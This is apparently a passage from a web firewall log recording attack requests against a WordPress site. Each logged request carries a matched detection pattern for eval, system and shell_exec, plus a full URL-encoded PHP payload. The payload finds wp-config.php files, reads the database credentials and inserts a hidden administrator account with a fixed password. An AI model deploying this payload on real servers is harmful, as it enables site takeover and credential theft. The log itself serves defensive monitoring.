20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 23:37:30","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EmiqkL:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\ncontent-length:12663\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\n\nEmiqkL=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20